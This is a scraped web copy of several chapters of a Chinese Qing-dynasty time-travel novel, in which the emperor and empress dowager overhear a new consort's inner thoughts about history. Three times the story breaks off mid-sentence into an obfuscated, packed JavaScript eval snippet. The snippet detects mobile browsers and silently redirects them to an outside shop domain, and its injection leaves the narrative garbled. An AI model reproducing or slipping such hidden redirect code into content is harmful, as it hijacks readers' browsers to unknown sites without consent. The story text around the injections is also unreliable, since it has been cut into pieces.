《康熙宠妃心声直播中(清穿)》 7. 麻爹和麻宝 听到胤禔的话,惠妃眉头不由一皱,下意识就脱口而出:“太子还真……” 不过话未说完,她就噤了声,看着一脸看好戏的儿子,忍不住又戳了他额头一下,才拿起帕子尴尬地擦了擦眼角:“行了,不管如何那是太子,你可给我长点儿心吧!” 胤禔瘪了瘪嘴,一副想说不敢说的模样,让惠妃又忍不住拉着他开始训话,这一开口一直到胤禔眼睛都发直了才结束。 胤禔看着自家额娘一副意犹未尽的模样,原本打算在延禧宫吃点东西的心也没了,直接一行礼:“额娘,儿子还有事先走了!” 惠妃还没反应过来,就见胤禔如同一阵旋风,忽地消失在眼前,等她反应过来时,延禧宫的大门口只留下他衣服的一角。 “这孩子……”她没忍住嗔怪道,随后又轻笑两声,才对宫人说道,“刚刚那些宫人好好肃肃规矩,阿哥们再如何是亲兄弟,可容不得他们出去胡吣去。” “奴婢交代过了。”说话的是惠妃的左膀右臂明月。 惠妃摆了摆手让人退下后才忍不住揉了揉眉心:“太子,皇上,到底发生什么了,怎么最近都有些……连慈宁宫的也……” 她这边百思不得其解,承乾宫的皇贵妃却一脸了然:“看来四个人确定就是这几位了,过两日该找个机会让胤禛见见那位的。” 与后宫的妃嫔们或不解或艳羡不同,身为太子的胤礽此时并没有关注康熙和齐佳氏的举动,毕竟对于现在的他而言一切交给皇父是再正常不过,他也相信皇父不会瞒着自己什么。 带着些许羡慕地看着胤禔去了延禧宫,胤礽心下不免有些失落。 汗阿玛对他很好,这是几乎每个宫人、嫔妃、大臣们心知肚明的,不仅如此更是数次为他仗毙宫人,如今他不过八岁,可身边的人都不知换了多少。 “太子殿下?可是要回毓庆宫?”胤礽的贴身太监高三变眼瞅着这位主子脸色不是很好,壮着胆子上前小声提醒。 “狗奴才!要你多嘴!”不曾想刚刚还文静的胤礽突然脸色一变,一脚踹到高三变的膝盖上,只把他踹得跪倒在地上不敢起来。 不曾想似乎觉得踹一脚还不解气,亦或是被刚刚胤禔的举动刺激到,他竟从腰间抽出一条细鞭子,顺势抽在了高三变的身上。 其余宫人此时皆是两股战战跪在地上不敢言语。 来回抽了七八下,总算觉得出了口气的胤礽冷哼一声将鞭子扔在高三变身上:“赏你了。” 说罢转身离开。 其余宫人见状,赶忙安静跟上,连高三变都只能强撑着身体跟在众人身后小心往前。 箭亭发生的事情不过一炷香的时间就传到了慈宁宫。 而慈宁宫里孝庄正握着齐满月的手,一边听着她心里对自己的吹捧,一边看着漂亮的小脸上一双杏眸满是激动和崇拜,别说有多满足了。 “好孩子,你玛法穆哈连太宗时就跟着先帝打天下,叶赫一族归诚他可谓头功,你阿玛布色赫更是咱们大清实打实的巴图鲁,山海关、太原哪个没打过。八大姓里就属你们齐佳人少、本分,这么多年也没个姑娘入宫,这难得有个姑娘进来,也多来陪陪老婆子。” “奴婢在家时常听阿玛自愧,说齐佳一族人丁不旺,人才也不多,竟无力为国效力,实在丢了老祖宗的脸。” “你阿玛那个人本是军旅出身,最是实在不过的,可不能如此自贬。”孝庄话音刚落抬头看了康熙一眼。 康熙瞬间明白了她的意思,轻轻点了下头:“布色赫本就是个将才,儿子正说要起用呢。” “别啊!!”他们本以为齐满月听到这话会在心里感谢他们,不曾想齐满月突然在心里惊呼一声,“饶了我那可怜的老父亲吧!!他都快七十了!!!” 康熙看着面前少女姣好容颜上还依稀可见的稚嫩,有些尴尬地摸了摸鼻子,他看着这张脸还真忘记了布色赫是入关时功臣,而齐佳妞妞是他的老来得女。 “不过说起来布色赫年纪也不小了,不若给他再加封一些吧。”不等孝庄开口,康熙赶忙说道。 齐满月听后不由松了口气,才继续将注意放在孝庄身上:“啊啊啊,我该怎么告诉我的偶像沙俄狼子野心?都怪康熙!崽卖爷田不心疼!偏心那个洋鬼子,百年屈辱都是从他开始,后人不承认满清也都是他的锅!哼!” 自齐满月进慈宁宫到现在,她的心声全是对孝庄的崇拜,丝毫没有提起这些事,也让孝庄诧异康熙跟来的举动,不过此时她算明白了。 看着康熙脸色实在称不上好看,孝庄难掩眉眼间的笑意:“咳,我见你满脸踌躇,可是有什么话想跟老身说?” 齐满月惊讶地抬头看了她一眼,才张了张嘴,犹豫该怎么开口才能让面前的人认为自己知道这些事合情合理,甚至不算是摄政。 就在这时,箭亭内发生的事情传进了慈宁宫。 听着太子暴虐的事情,孝庄忍不住揉了揉额角,无奈看着康熙:“我知你因赫舍里而心疼这个孩子,只是养孩子不该如此养,太子实在骄纵!” “太子是好孩子,都是那些奴才未曾劝慰主子。”康熙不等孝庄反应,直接开口吩咐梁九功:“那高三变我当日只当他是个好的,不曾想也是个不知事的,既然如此就把他送回敬事房,其余的该打的打,该罚的罚。顺便你去朕私库里,将前日太子惦记的端砚送去,只说他今日受惊了,回头朕去看他。” 梁九功丝毫不意外地领命躬身离开。 孝庄张了张嘴,却无力再说什么。 她并非第一次劝说康熙对太子要记得约束而非放纵,可早些年后宫孩子始终立不住,好不容易立住了两个,一个还是丧母的,也难怪康熙多疼宠几分。 这幅场景落到一旁的齐满月眼中却满是槽点:“妈耶~!康熙早些年真是宠孩子,这可真是史书都认可的宠溺啊,堪比历史第一好爸爸了~” 康熙听到齐满月难得对他的夸赞,忍不住挑了下眉。 见他面露得意,孝庄却总觉得哪里不对,她的直觉告诉她齐佳氏的语气很奇怪,夸赞没听出几分,嘲讽倒是不少,只是看着康熙难得如此高兴,也只觉得自己是不是感觉错了,谁曾想下一秒齐满月的心声就证实了她的想法。 “麻爹和麻宝嘛~就是不知道是真爱还是假的了~” 康熙欣喜的表情停在脸上不过一瞬就僵在原地,他猛地侧脸,一脸不可置信地看向齐满月,一副朕都这么宠孩子了你在说什么的模样。 “让我想想史书怎么记载来着~?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543748|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一时间慈宁宫里两位大佬都安静下来,连端起的茶盏都顿在半空中…… “啊!想起来了!一岁封太子,亲自带大,四岁出痘守了十四天,五岁专修毓庆宫,太子仪仗、冠服、东宫花销几乎与皇帝同等,甚至有时更高,三大节更是让群臣对太子行二拜六叩,出行必带,留守也天天写信,塞外得到好的第一个就给太子,想他时就拿太子的旧衣服。” “啧啧,简直是麻爹掌中宝,衬得别的崽都是麻爹手中草了,难怪后面大家对拉太子下台积极得不得了,果然孩子不和都是老人无德!” “不过说起来……出痘……不就是天花吗?那玩意应该是用牛痘预防!我不记得我自己都记得这个,简直每本小说必写啊……” 康熙和孝庄还等着齐满月有什么惊人的话说出来,却没想到对方直接扔了一个炸弹。 “你说什么!”康熙更是没沉住气直接站起身看向齐满月。 “奴……奴婢什么都没说啊……”齐满月被他吓了一跳,赶忙跪在地上不敢动弹。 孝庄忍不住看了她一眼,才轻声说道:“皇上是刚刚想事情入神了,莫怕,不是冲你的。” “咳,是朕没注意吓到你了,来人,齐佳贵人侍奉太皇太后有功,赏锦缎十匹,头面两套。”交代完歉礼康熙重新坐回到位置上。 齐满月本来还在心里骂康熙,此时听到有奖励也只能暗自腹诽:“算了,吓一跳收到那么多礼物就原谅他吧,不然我还能怎么办~” “不过说起来,康熙脾气是真不好啊,都说太子骄纵暴戾,我看都是随爹。” “哎?我刚刚想到哪里来着……?” “啊,麻爹和麻宝!” 康熙实在不想听到“麻爹”这样的名字,他不傻反而还很聪明,自然明白这名字指的是自己因天花留下的疤痕,只是他不想再打断面前人的心声了,只能不住地摩挲手中扳指,压下心中怒火。 “说是康熙疼宠太子,可是好奇怪,毓庆宫不光地方小,里面还弄得跟迷宫一样,太子年纪小就算了,年纪大了妻妾一群根本住不开,为什么康熙不愿意给他扩建?” “而且……毓庆宫旁边就是中正殿喇嘛天天烧香念经,在毓庆宫听得一清二楚,说康熙不知道是假,只能说是不上心吧……可怜的小太子~你麻爹不爱你哟~” 孝庄愣了下,下意识看了康熙一眼,却又赶忙收了回来,眉头微蹙有些不解,据她观察皇帝对太子那真是一副慈父心肠并非作假,而齐佳氏心中所说又不可能是假的。 想到这里她灵光一现,瞬间明白了康熙的深意,不由抬头看了对方一眼,在看到对方从震怒到情绪平静下来的过程,心下不由感慨一句:“天生的帝王啊……” 她想明白了康熙的做法,可毓庆宫的胤礽没想明白。 他坐在书桌前,手中的书怎么都无法看进去,周边喇嘛念经的声音伴随着沉香气味不住侵蚀他的意识。 之前因为和汗阿玛交心而松下来的那根线,不知不觉地悄然绷紧,系统的声音再次在他脑海中闪过。 “补选三号读者胤礽(太子),选中理由:原定下一代帝王,因历史线变更,继位可能性增加。” “汗阿玛,您到底真的愿意让儿子继位吗……” 8. 第一天度过 此时的慈宁宫对孝庄和康熙而言实在称不上安静,毕竟齐满月的心声就没停过,尤其是大清和康熙的吐槽。 简直可以说衣食住行无一满意,这也让康熙的脸色越发难看,摩挲扳指的手指都快磨出火星子了。 可在齐满月的角度来看,慈宁宫突然安静得有些可怕,她咽了咽唾沫,小心地抬起头看着还握着自己手的孝庄。 “咋了这是?怎么这么安静?” 她这心声一出,孝庄和康熙二人瞬间反应过来。 孝庄看了眼康熙后,轻笑着:“你这幅好容貌虽说穿得简单些更显得清丽,可到底还年轻该仔细打扮一些,那些红的绿的金的玉的,还是你们小姑娘穿的好看。” 说着她扭头看向旁边的苏麻喇姑:“你去我的私库里,将我那套玉头面找出来,再把去年进上的两匹苏锦找出来,就那个颜色鲜亮娇嫩的,让齐佳氏带回去,好生做几身新衣裳。” 齐满月赶忙下跪行礼谢恩,心里更是不住欢呼:“不愧是我的偶像之一!就是大方!!狗皇帝看到没!!!” 康熙本就被她气得够呛,此时听到面前的女人还在不住骂自己狗皇帝,刚刚想顺着太皇太后给她赏赐的心瞬间就歇了。 太皇太后将他的神色看在眼中,眼眸中不免带上一丝笑意。 自打皇帝十四岁亲政,每日都以圣人的行为来约束自己,连后宫不肯多去几次,尤其是这些年更是喜怒不动声色。 算起来,她竟然已经有近四五年没见过皇帝如此沉不住气了,上一次还是太子发痘。 康熙丝毫没察觉到自己的失态,他深吸了几口气,扯了扯嘴角:“额涅玛玛,侍奉您是齐佳氏的本分,倒也不必如此恩赐。” “狗皇帝!!!!我……不行!好孩子不能说脏话!!!”果真如他所想,齐满月直接气炸了。 康熙斜睨着齐满月再也无法平淡乖顺的表情,眼中闪过满意。 孝庄有些嫌弃他难得的幼稚,忍不住开口说道:“我和齐佳贵人一见如故,赏她东西我乐意,你还有异议不成?” 康熙听后尴尬地捏了捏鼻子:“孙儿不敢,额涅玛玛的东西自然由您自己做主。” “哎嘿嘿~狗皇帝活该!哼~”齐满月眉目一挑,脸上也带出几分掩饰不住的得意。 “我本来想让皇帝派你阿玛去一趟盛京,既然你阿玛如今已有春秋便罢了。”孝庄眼眸中带上几分惆怅。 “是想女儿了吗?”齐满月在心中暗自叹了口气,“从入关以来,再也没有回去故乡,三个女儿又都嫁回蒙古……如今也只剩下固伦淑慧长公主,也不知道还能再见几次……” 康熙眼瞅着孝庄因齐满月的心声而面露伤心,赶忙就要开口岔开话题打断对方的心声,却不承想齐满月下一刻就扔了一个巨雷。 “淑慧长公主好像是1700年去世,换算过来……康熙三十九年!” “我记得史书上记载,淑慧长公主晚年几乎都是在北京度过的,也不知道什么时候皇帝会将她接来,也好陪陪孝庄,毕竟……” 齐满月想到这里,小心抬头看了眼状似发呆的孝庄一眼,才在心中叹道:“康熙二十六年太皇太后孝庄结束了传奇的一生……” “啪!”康熙手中的茶盏骤然落地,发出清脆的碎裂声。 就连孝庄都忍不住呆愣原地,手中的奶茶碗也没拿住直接洒在地毯上。 康熙倒也没在意,毕竟谁听到自己的死期都不免会心神恍惚一瞬,就连他不也震惊到无法言喻。 康熙猛地抬头看向祖母,却发现对方神情已经恢复如初,这也让他不免叹服祖母的毅力。 “啊……狗皇帝,算了不提他了,反正活得挺久。” 康熙愣了下,赶忙做好听一下自己死期的准备,就听到对方心里来了这么一句,一时间竟不知道是生气好,还是开心好。 “行了,天色也不早了,齐佳贵人回永寿宫吧,皇帝也去忙自己的好了。”孝庄表面上看似平静,可内心不免带着难以言喻的无力感,想要探究齐满月心声的心思也消散了。 康熙自然明白孝庄的意思,也便没说什么,直接起身告别。 齐满月跪送走了康熙,才对孝庄叩首离开。 为什么突然让她们离开这件事情她虽然想不明白,却也不敢多说什么,毕竟她现在只是一个小小贵人而已。 回到了永寿宫,齐满月第一件事就是脱下花盆底,然后让云秀帮自己散开小两把头。 “小主,如今还是白日,如此不修边幅可是要犯宫规的。”云秀环顾一圈后,再次说道,“便是夜晚,若非您在内寝,也是不能披头散发的。” 齐满月倒吸一口凉气,伸手摸了摸如今还称得上茂密的头发:“我可不想成秃子……” “小主说笑呢,怎么会成为秃子呢?”如今虽是齐满月入宫第一日,可云秀却不止一次听她吐出这等孩子般的话。 她倒也没多想,只当是齐满月初入宫,有些规矩没记住。这也是为何许多小主入宫后,分到的大宫女都是内务府里有些年岁的,方便为小主们好好讲讲宫里的规矩。 “是啊……秃不至于。”齐满月摸着头发叹了口气,忍不住轻声反驳,“可是发际线后移更丑啊。” “小主?”云秀没听清她说的话。 “没什么,皇上和太皇太后的赏赐都收好了吗?”齐满月摆了摆手,直接岔开话题。 “收好了,有两匹颜色不适合做常服便送到了内务府,其余奴婢回头和云月等人给您做两身常服出来。”云秀说着用簪子将齐满月的头发挑松了一些。 “我记得之前你说过,只有皇上特许内务府才会给出彩色蜡烛?”齐满月揉着松快许多的太阳穴,想到了蜡烛的事情。 “是啊,所以小主您还是别惦记了。”云秀见她还在揉着太阳穴,无奈叹了口气,拿起簪子继续帮她挑头发。 “如果我用蜡烛做些花儿啊草儿啊,没关系吧?” “蜡烛做花草?那岂不是白色的,可不行,不大吉利。”云秀手下动作一顿,吓得直接走到她面前正色说道。 “那若是我自己染一点蜡油呢?不是蜡烛,只是可以熔化的蜡油。”齐满月问道。 云秀蹙眉想了想: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543749|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “宫里未曾有人做过,奴婢也不知道,不过您可以向皇贵妃娘娘禀告一声,若是娘娘同意,也不算违背宫规。” “皇贵妃娘娘啊……”齐满月指尖摩挲了下,心中念头越盛,只是看着此时的天色,便也不想初入宫就惹出事端来。 这一日宫里消息传得五花八门,可谓是难得如此热闹,倒是让不少嫔妃因白日关注太多,而困乏到早睡。 此时的承乾宫,皇贵妃看着睡熟的胤禛,犹豫了一瞬后才对宫人交代道:“明日就按本宫交代的行事,阿哥若是害怕或是想说什么,你只哄着他回头告诉本宫即可。” “是,娘娘。”秋月恭敬应下。 这边的皇贵妃想要试探出齐佳氏到底如何和皇帝他们交流的,也想试探出拯救员和执行者到底会不会涉及到胤禛的健康。 虽然知道没可能,但依旧想要将齐佳的一切变化掌握在自己手中,以免伤害到胤禛。 而毓庆宫里的太子也对齐佳氏更加好奇,那本来被康熙压下去的对未来的恐慌,在听到康熙陪着齐佳氏去了慈宁宫后达到了顶峰。 “齐佳氏……” “我家的妞妞啊……”如果说宫里的人对齐佳氏视作对手,拉拢对象,试探对象,那齐佳府里的老两口则是谁都睡不着的担忧。 “咱家妞妞性子单纯,又乖得很,你说那些妃嫔会不会欺负她?”布色赫想着女儿孤苦伶仃在后宫受欺负的场景,就忍不住心痛。 “又能怎么办?你就这么个位置,齐佳一族又是这么个情况,我娘家又是那样不中用的,竟无人能够帮衬一二。”布色赫夫人那拉氏忍不住拿起帕子擦了擦眼角。 “都怪那些没用的东西,但凡他们上进一些,多送几个齐佳一族的女子入宫,咱们妞妞也不算孤立无援。”布色赫嘬了嘬牙花子,恨铁不成钢道。 那拉氏忍不住白了他一眼:“这话你最好别让妞妞知道,不然她又要训你了,如何能为了她牺牲其他族人。” 布色赫赶忙伸手拍了拍嘴:“是我的错,都是我的错。” 说到这,他再一次忍不住捂住了胸口:“可怜我的妞妞,阿玛写的贺女撂牌子诗是不能见世了。” “你和阿玛当年要是多立立功,如今官位高一些也是个盼头,如今哎……” 布色赫听着妻子的话,犹豫了很久后才踌躇开口:“你说……我现在还能立功吗?” 那拉氏忍不住白了他一眼,直接拉着被子将头蒙住:“歇着吧你。” 见妻子这样,布色赫摸了摸鼻子,忍不住叹了口气:“我也想学人家汉人的祖宗老骥伏枥志在千里嘛。” “睡不睡?!”那拉氏实在忍不住了,掀开被子瞪了他一眼。 见老妻真的生气了,布色赫也不再说什么,只能乖乖闭上嘴拉上被子。 齐满月自然不知道自己阿玛为了她竟然打算七十岁高龄奋斗了,她只躺在床上无声叹气。 入宫第一天发生那么一堆乱七八糟的事情,可算把她累得够呛,身体不累,心累。 “也不知道之后的日子会不会好些,每天这样,真没法过啊……” 9. 找个事儿做 不知道是头一天进宫后发生的事情太多,这天晚上齐满月昏昏沉沉一夜没休息安稳,到了次日被云秀唤醒请安时差点儿没起来。 “小主,可要奴婢去承乾宫告个罪。”云秀伸手试探了下齐满月的额头,发现她并没有发烧后才松了口气。 齐满月打了个哈欠,连连摇头:“算了,才进宫没两天,昨天又闹出那么多事,我还是别太出挑了。” 云秀见状只能无奈应下,又给她重新整理了妆容,遮掩了齐满月满脸的疲惫。 “胤禛,今天可发现了什么?”请安的过程如同往日没有丝毫波澜,不过后宫嫔妃们对齐满月的关注比以往多了些。 不过不知道是不是大家都没休息好的缘故,所以今日嫔妃们并没有开口多说什么,不少高位嫔妃眼中是难掩的困倦和疲惫。 皇贵妃没在意这些,手中握着十八子的指尖早已抓得有些泛白,她既担心胤禛太小说漏了嘴被宫人传出去一二,倒是引得皇上注意怕是并非好事,又担心齐佳氏真有什么奇异能力察觉到了胤禛,伤害了胤禛。 只是看到齐佳氏一副乖顺模样,又想到皇上和太皇太后对她尚且算照顾,也只能按下满心着急,只当自己想太多。 给太皇太后和太后请了安,一行人回到承乾宫后皆是满脸疲倦,皇贵妃也早已按捺不住对儿子的担忧,便直接对众人说道:“也没什么事,各位回自己宫里吧。” 一群嫔妃无不是满脸难掩的喜意,齐齐起身跪安。 等最后一道身影消失在宫门口后,皇贵妃直接快步转身进了后厅。 “额娘的胤禛!”她一把抱起胤禛,随后摆了摆手让宫人退下。 “胤禛,刚刚可有发生什么?”皇贵妃抱着胤禛坐在软榻上,轻声哄着。 胤禛呆愣地摸了摸小狗福子,才摇了摇头。 皇贵妃脸上顿时闪过遗憾,却又转瞬松了口气,至少这证明那齐佳氏并非有什么奇特能力。 “额娘,胤禛好困……”才4岁的胤禛打了个哈欠,直接歪倒在皇贵妃怀里。 皇贵妃吓了一跳,胤禛可是一向精力不错的,头一次见他大早上喊困,想到这里她眉眼一厉,忍不住轻声哄道:“乖胤禛,告诉额娘可是有人给你吃了什么东西或是喝了什么?” 胤禛强撑着撕开眼皮,摇了摇头:“刚刚一直有人说好困好困,胤禛现在也好困好困了。” 这下皇贵妃听明白了,直接轻手捂住胤禛的耳朵,直接开口喊了一声:“秋月!” 秋月赶忙推门进来:“娘娘。” “刚刚是你在阿哥身边,可听到哪个不长眼的一直在阿哥耳边念叨着好困?” 秋月听到她的话一愣,连忙摇头:“一直是奴婢在旁边抱着阿哥,不曾做过什么。” 皇贵妃眼中闪过一丝冰冷,她细细打量了一下秋月,到底选择相信了这位从家里带来的侍女。 “下去吧。” 秋月被莫名叫进来问了一遍话,又被赶出去,心里满是奇怪却不敢开口问,只能低声应下离开。 等人离开后,皇贵妃才继续抱着胤禛说道:“乖胤禛,且等一会儿睡,告诉额娘那声音你可熟悉?是哪位宫人?抑或是……” “……男的还是女的?”不知为何,皇贵妃心中起了一个念头,她感觉到自己所猜的极有可能才是真相。 胤禛这会儿精神了些许,揉着眼睛开口说道:“是个女子,儿子没听过。” “那除了好困还说了什么?”皇贵妃继续问道。 “还说……还说……”胤禛皱着眉想了很久才开口说道,“还说宫里规矩好烦,早知道宁愿……宁愿当个老姑娘!” 胤禛落下最后一句,不忘重重点了下头,就像是肯定自己一样。 皇贵妃脸色忽地一变,她没想到不过是自己一个念头,竟然成了真的。 “心……声?!”她轻轻咬着唇,蹙眉犹豫了好久。 “额娘,眉头皱皱的不好看。”胤禛不懂为什么皇贵妃会是这幅模样,只想到了过去皇贵妃念叨过天天皱眉都老了不好看了,赶忙举起小手为她揉了揉眉心。 皇贵妃眉眼温柔一瞬,又搂了搂胤禛,才松开手让秋月将胤禛送回寝室休息。 “心声啊……难怪。”回想选秀上皇上和太皇太后的异样,再想到昨日传遍后宫的消息,皇贵妃不禁了然,“原来如此,看来以后对齐佳氏要更好些……” “毕竟,万一被皇上和太皇太后听到一些,对胤禛和佟佳一族可不算好事……” 知道了齐佳氏这位拯救员和执行者是怎么交流的,皇贵妃也算是松了口气,正好宫人进来回话,她也便将心神都放在了宫务上。 东宫里胤礽却在发愁该如何见上齐佳氏一面。 着人细细打听了才知道,这齐佳贵人不爱去园子,也不爱串门子,就喜欢待在永寿宫里不出门。 不过这才进宫两日,倒也看不出许多,胤礽虽然有些急切,倒也没急切到何种地步,只能吩咐人注意着永寿宫齐佳贵人的消息。 与这两位的试探不同,太皇太后给康熙递过消息后,康熙直接招来大臣开始安排东北的事情。 虽然齐满月只寥寥透露了几句,却足以让他重视这件他之前不曾注意的事情。 而且齐满月所说的信任异族的话也让他心中起了怀疑。 能够被齐满月称之为异族的他相信一定不会是汉人,而且不论齐满月之前是谁,现在都是满族齐佳氏,想来也不会叫自己母族为异族,那么就只有那些外邦人了。 想到这里康熙心中也有了人选。 他的朝堂之上外邦人的身影从未少过,早期的汤若望、利类思、安文思,现在的南怀仁、徐日升、闵明我,而真正现在还在朝堂上且受他信任的也只有南怀仁了。 “南怀仁……”康熙往后一靠,叹了口气,“果然是非我族类,其心必异啊……” “只是……对汉人而言,我们满人不也是非我族类嘛?”这个念头在他脑海中转了又转,却终将被齐满月那句,百年屈辱的罪魁祸首所打消。 “看来还是要找机会试探下齐佳氏,看看有没有更详细的信息。”康熙的扳指被摩挲了一圈又一圈,才压下齐佳氏那一句句骂自己的话所引起的烦躁。 就像是太皇太后所言,为了大清没有什么是不可以忍的。 永寿宫的齐满月丝毫不知道自己被众人盯上,好不容易补觉起来,她坐在廊下对手边的书和刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543750|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 绣完全不感兴趣,满脑子都在想该怎么搞一点颜料过来。 “小主,想什么呢?小主若是真的无聊,要不奴婢陪您去御花园看看花儿?”云月缝好一件里衣,抬起头就看到齐满月手里捏根草,正一脸无趣的模样,忍不住说道。 齐满月摇着头:“算了,不想动弹。” 忽然她的余光就瞥见云月旁边的笸箩里一堆碎布头,心中顿时起了一念。 “云月,这些布头你们有用吗?” 云月见她指向笸箩,赶忙笑着说道:“那些大块的以后留着补衣服、或者给衣服做滚边、小口袋,甚至可以做些帕子、扇套、荷包这些。” “啊……”齐满月一呆,瞬间想起额娘那拉氏也曾用这些大块布头给她做些小物件,还让她学着练习女红用,却没想到宫里也是如此俭省,“不愧是康熙啊……” “这些中等的,一般是奴婢们拿来做鞋底衬里或是做袜底、小垫这些。”说到这里云月的声音压低了许多,“这些是宫里人尽皆知但不能明说的。” 见齐满月神情未变,云月不禁暗自松了口气,才继续说道:“剩下的那些就是做些填衬或是擦针、擦剪刀的。” 云月轻笑着:“若不是这些料子是上赏的,又有梁公公亲自交代过,怕是那些大块料子都要交回内务府的,如今咱们有福气能够留下,倒是能够给小主做几个好料子的帕子和荷包。” 看云月将碎布一个个分类好,齐满月犹豫了一瞬才指着那些零碎的小布料说道:“那就先给我一打小碎布吧。” 云月不明白她为何要这些,但也没多想,点头应下从笸箩里捏起一打塞到齐满月手中。 齐满月看着手中的碎布,这里最大的也不过铜钱大小,那些巴掌大的皆是中等的,是云月等人留用的,她暂时还不好意思抢人家的小福利自己当玩具。 想了想,齐满月才开口:“云月,你能不能找人帮我做一个白色的板子?” 说罢她赶忙又说道:“不是白色也行,随便什么颜色吧。” 云月一愣,才缓缓摇了摇头:“那可不大好找,小主要那些作甚?” “嗯……我想用这些碎布头做一副布贴画。”齐满月举着手中的碎布头说道。 云月张了张嘴,想说恐怕会逾制,可又想到这些碎布头本来就已经是无用之物,又觉得没什么,一时间竟不知道该怎么说。 正在这时云秀进来,听到云月为难后才说道:“小主可让小太监去内务府要些粗布、衬布、硬纸板、裱画底布、浆糊,不过这些碎布头……还是要小心些。” 云月看着手中华美至极的碎布头,无奈点了点头:“我知道了,我尽量少用或不用。” 见她听进去,云秀莞尔一笑,只要她盯紧了自家小主,别做得太明显,以皇上对小主的态度,想必也不会如何。 想着云秀就赶紧吩咐小太监去内务府跑一趟。 齐满月想到自己总算找到了个玩意儿,一下子也精神了许多,拉着云秀就开始搬桌子搬凳子,打算直接在光最好的地方做。 云秀本就比齐满月大了近十岁,看她如同自己幼妹一样,也便随着她玩闹了,反正只要不违背宫规,上位者们也不会为难一个小贵人。 10. 再次伴驾 “沙俄狼子野心,纵使如今国库不足,也该对其警惕。”召集了大臣,连夜商讨针对沙俄的防备事情,让康熙这样精力十足的人都有些控制不住打了个哈欠。 更不用说那些大臣们,索额图和明珠虽然已经年近五十,但也算得上老当益壮,虽然觉得有些疲惫但也没表现出来。 其他大臣们并不比他们大上几岁,体力却不如他们,现在谁也不敢对皇上说一句自己累到了。 康熙揉了揉眉心,才对一夜的商讨下了决断:“行了,兵部通知富察?萨布素、瓜尔佳?巴海,东北军防交给他们了,告诉他们一定死守东北,不准那些沙俄人进来一个,但凡被朕发现他们玩忽职守……” 最后如何康熙并没言明,但那口吻里的杀意却听得众位大臣精神一振。 “退下吧。”康熙挥了挥手直接让人离开。 几位大臣恭敬退下,一出殿门才发现竟然已经到了御门听政的时间,彼此相视看了一眼,再无一丝力气寒暄,默契地向着自己该去的地方走去,连明珠和索额图亦是如此。 康熙翻开折子看了一页后,抬起头看向梁九功:“什么时辰了?” “皇上,该早朝了。” 揉着眉心,康熙灌下一杯浓茶,才起身让宫女们帮自己整理。 走在上朝的路上,他看着还未大亮的天:“今日是齐佳氏进宫第几日?” “回皇上,第三日了。”梁九功对这个齐佳贵人可谓是印象深刻,更是被康熙和太皇太后都交代过要盯紧永寿宫,自然对那边的消息了若指掌。 “第三日……”康熙轻喃道,距离他从对方心声中得到沙俄消息已经过去了两日。 “今日召齐佳氏奉驾。”他犹豫了一瞬,对未来的窥伺欲望到底战胜了维护自己名声的重要性。 梁九功并不意外,他看得出来康熙即便对齐佳贵人莫名发怒过,却本能的在意着对方。 不过对他而言倒也能理解,毕竟齐佳贵人长得实在可以称得上艳冠群芳。 这边的康熙下了令,很快就传到了永寿宫。 前一日齐满月才让人从内务府拿了材料,昨天更是做了一下午的布贴画,虽然还没有全部完工,却也能看出一些大致来。 她本来计划着今天把布贴画做完,谁曾想刚请安回来就听到云秀满脸喜意迎上来:“小主,皇上召您奉驾。” 齐满月想到第一天奉驾的事情,忍不住在心里翻了个白眼,面上她依旧做出一副惊喜的模样拉着云秀的手说道:“那太好了。” “不过云秀,你今天身体不适,要不让云月随我去吧。”看着云秀脸色还略有发白,她不免有些担忧。 云秀心中略盘算了一番,觉得云月也称得上机灵,便点头应下。 如今永寿宫里四位宫女分别是云秀、云月、云朵、云兰,其中以云秀为首。 至于太监,以齐满月现在的贵人身份是没有专属太监伺候的,如今她使唤的是永寿宫的太监。 按理说她并无资格使唤,不过谁让永寿宫如今就她一个主子,且看起来还算得宠,便能够在传膳跑腿上让太监们帮忙跑一下。 重新整了下衣服,换上皇帝赏赐的布匹做的新旗袍,又在康熙赏赐的头面里挑了一个不算出挑的簪子,打扮一新后才在云月的搀扶下往懋勤殿走去。 “啊……好烦啊,为什么让我是妃嫔,我要是公主多好!当然最好是阿哥,不过说起来康熙的女儿儿子没几个有好下场的,有的现在都没生出来呢。” 康熙刚刚从大朝上下来,就听到暖阁里传来的心声。 忍不住揉着眉心叹了口气,才招手吩咐道:“让齐佳贵人过来吧。” 小太监赶忙去叫人,这边康熙已经坐到了炕桌上闭目养神了。 齐满月小心进来,乖巧跪安,又被康熙赐座后,才从心里蹦出新的心声。 “有毒吧,叫我过来干嘛,又不说话,待会儿不会又莫名其妙地对我发脾气吧?” 